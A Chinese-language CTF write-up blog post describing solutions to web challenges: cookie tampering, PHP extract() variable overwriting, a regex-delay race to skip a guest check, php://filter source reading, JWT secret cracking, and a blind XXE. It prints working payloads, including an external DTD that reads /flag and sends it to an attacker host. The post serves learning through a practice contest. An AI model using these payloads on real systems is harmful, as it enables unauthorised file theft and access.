May 15th 2019, 12:00:00 pm
说在前面 这次和队友一起去川师打了一次线下的CTF。虽然比赛中很多题都没做出来,但学到很多东西。赛后出题师傅也给出了源码和Writeup,抓住机会总结学习。
重新搭建题目的环境有点困难,所以还是有两题无法进行复现。
Web 418 打开网页后是一个418的错误页面。
Google了一下418错误
“ERR!418 我是茶壶”起源
“错误 418 我是茶壶”消息不是标准的服务器错误类型,这是 1998 年的一个愚人节恶作剧,距今已有 20 年了。许多开发团队在他们的应用程序中实施了“错误 418 我是茶壶”的消息作为内部笑话,通常使用这个错误来处理未知来源的错误。
又在cookie处发现了一个base64加密的值: 解密后为:coffee
用Brupsuite抓包后修改了cookie的值,网页提示:
Tell me what you want !
于是我修改为flag的加密值,没用。在修改很多次之后队友解出来了。竟然是tea的base64。
修改cookie后访问得到flag,这题,真的有点考脑洞。
签到题 是一道简单的代码审计题。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php require ('config.php' );$user = null ;if (!empty ($_GET ['data' ])) { try { $data = json_decode($_GET ['data' ], true ); } catch (Exception $e ) { $data = []; } extract($data ); if ($users [$username ]) { $user = $username ; } } if ($user ==$usname ) { echo "sicnuctf{************}" ; } ?>
参数data在经过json_decode之后进行了变量覆盖。
构造payload:
data = {“usname”:”123”, “users”:{“username”:”123”}, “user”:”123”}
得到Flag
PHP是世界上最好的语言 用御剑,可以直接跑出登录,注册的源码地址,注册一个账号,登录进去可以拿到member.php的源码。
register.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php include ('config.php' );try {$pdo = new PDO('mysql:host=localhost;dbname=***' , '***' , '***' );}catch (Exception $e ){ die ('mysql connected error' );} $admin = "sicnu" ."#" .str_shuffle('hello_here_is_your_flag_but_it_no_easy' );$username = (isset ($_POST ['username' ]) === true && $_POST ['username' ] !== '' ) ? (string )$_POST ['username' ] : die ('Missing username' );$password = (isset ($_POST ['password' ]) === true && $_POST ['password' ] !== '' ) ? (string )$_POST ['password' ] : die ('Missing password' );$code = (isset ($_POST ['code' ]) === true ) ? (string )$_POST ['code' ] : '' ;if (strlen($username ) > 16 || strlen($username ) > 16 ) {die ('is too long' );} $sth = $pdo ->prepare('SELECT username FROM users WHERE username = :username' );$sth ->execute([':username' => $username ]);if ($sth ->fetch() !== false ) {die ('username has been registered' );} $sth = $pdo ->prepare('INSERT INTO users (username, password) VALUES (:username, :password)' );$sth ->execute([':username' => $username , ':password' => $password ]);preg_match('/^(sicnu)((?:#|\w)+)$/i' , $code , $matches ); if (count($matches ) === 3 && $admin === $matches [0 ]) {$sth = $pdo ->prepare('INSERT INTO inspect (username, permit) VALUES (:username, :permit)' );$sth ->execute([':username' => $username , ':permit' => $matches [1 ]]);} else { $sth = $pdo ->prepare('INSERT INTO inspect (username, permit) VALUES (:username, "TERRIBLE")' );$sth ->execute([':username' => $username ]);} echo '<script>alert("register success");location.href="log.html"</script>' ; ?>
Log.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php session_start(); include ('config.php' );try {$pdo = new PDO('mysql:host=localhost;dbname=***' , '***' , '***' );}catch (Exception $e ){ die ('mysql connected error' );} $username = (isset ($_POST ['username' ]) === true && $_POST ['username' ] !== '' ) ? (string )$_POST ['username' ] : die ('Missing username' );$password = (isset ($_POST ['password' ]) === true && $_POST ['password' ] !== '' ) ? (string )$_POST ['password' ] : die ('Missing password' );if (strlen($username ) > 32 || strlen($password ) > 32 ) {die ('is too long' );} $sth = $pdo ->prepare('SELECT password FROM users WHERE username = :username' );$sth ->execute([':username' => $username ]);if ($sth ->fetch()[0 ] !== $password ) {die ('Error in username or password' );} $_SESSION ['username' ] = $username ;unset ($_SESSION ['is_logined' ]);unset ($_SESSION ['is_guest' ]);header("Location: member.php" ); ?>
Member.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php error_reporting(0 ); session_start(); include ('config.php' );if (isset ($_SESSION ['username' ]) === false ) {die ('please login first' );} try {$pdo = new PDO('mysql:host=localhost;dbname=***' , '***' , '***' );}catch (Exception $e ){ die ('mysql connected error' );} $sth = $pdo ->prepare('SELECT permit FROM inspect WHERE username = :username' );$sth ->execute([':username' => $_SESSION ['username' ]]);if ($sth ->fetch()[0 ] === 'TERRIBLE' ) {$_SESSION ['is_guest' ] = true ;} $_SESSION ['is_logined' ] = true ;if (isset ($_SESSION ['is_logined' ]) === false || isset ($_SESSION ['is_guest' ]) === true ) { echo "no no no!" ; }else { if (isset ($_GET ['file' ])===false )echo "no" ;elseif (is_file($_GET ['file' ]))echo "you cannot give me a file" ;else readfile($_GET ['file' ]); } ?>
拿到Flag的关键在于要绕过一个is_guest判断。
member.php源码处:
1 2 3 4 5 6 7 <?php $sth = $pdo ->prepare('SELECT permit FROM inspect WHERE username = :username' );$sth ->execute([':username' => $_SESSION ['username' ]]);if ($sth ->fetch()[0 ] === 'TERRIBLE' ) {$_SESSION ['is_guest' ] = true ;} ?>
而TERRIBLE是在注册时写入的,在register.php源码中:
1 2 3 4 5 6 7 8 9 10 <?php preg_match('/^(sicnu)((?:#|\w)+)$/i' , $code , $matches ); if (count($matches ) === 3 && $admin === $matches [0 ]) {$sth = $pdo ->prepare('INSERT INTO inspect (username, permit) VALUES (:username, :permit)' );$sth ->execute([':username' => $username , ':permit' => $matches [1 ]]);} else { $sth = $pdo ->prepare('INSERT INTO inspect (username, permit) VALUES (:username, "TERRIBLE")' );$sth ->execute([':username' => $username ]);} ?>
先进行了一个正则匹配,再进行了if语句,其中一个条件为$admin === $matches[0]
根据前面的$admin = "sicnu"."#".str_shuffle('hello_here_is_your_flag_but_it_no_easy');
可知,admin的值为一个随机值,这里只能进行绕过。
这里可以利用条件竞争绕过
正则表达式的意义如图所示
如果在#号后面赋值非常长的一段字符,在php匹配的时长会消耗资源(拖延时间)导 致后面的语句暂时无法执行。也就无法将permit字段设置为TERRIBLE。
因为前面已经注册了账号,所以这里就可以绕过is_guest的判断。
正常注册登录提示:no no no!
重新注册一个账号,code处赋值为长字符串:
重新登录,显示no,说明已经绕过is_guest
最后还需要用PHP伪协议绕过is_file函数
payload:
member.php?file=php://filter/read/convert.base64-encode/resource=config.php
读config.php得到flag的base64,解码即可。
龙湖论坛 比赛的时候还没有接触过JWT,也没有时间做了,这里就相当于复现了。
一个论坛,只有简单的注册,登录和一个留言功能。
RSS订阅需要先成为VIP。
登录之后,可以在cookie值里面看到token
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzeXMiLCJ1c2VybmFtZSI6ImFkbWluIiwiaXN2aXAiOjAsImlhdCI6MTU1NzkyODE2NSwiZXhwIjoxNTU3OTMxNzY1LCJuYmYiOjE1NTc5MjgxNjUsImp0aSI6IjBlMjM5MTI4OWZmMmNmZTc0NjUxZjIyMDlkYzk5YmI1In0.WKRwWB3QE6CG3BYi3WGQ9EBIX3g_YCT26bJsaDMGsXo
解密后的格式为:
{
"alg": "HS256",
"typ": "JWT"
}
{
"siss": "sys",
"username": "admin",
"isvip": 0,
"iat": 1557928165,
"exp": 1557931765,
"nbf": 1557928165,
"jti": "0e2391289ff2cfe74651f2209dc99bb5"
}
我们需要得到密钥,来修改isvip的值为1。
这里可以使用工具:https://github.com/Sjord/jwtcrack 来爆破密钥。
构造密钥后爆破得到密钥为sicnuctf
使用在线工具https://jwt.io/ 修改JWT的值,然后修改cookie的token即可进入rss订阅页面。
看Writeup知道,这里是一个Blind XXE。
由于环境配置,这里复现不了这个XXE,直接贴师傅的脚本了:
payload.xml
1 2 3 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root SYSTEM "http://ip/evil.dtd" > <root > &p; </root >
evil.dtd
1 2 3 <!ENTITY % p1 SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % p2 "<!ENTITY p SYSTEM 'http://ip:port/%p1;'>"> %p2;
后话 接触到了两个新东西:
php的条件竞争
JWT
后期还要更多的总结一下。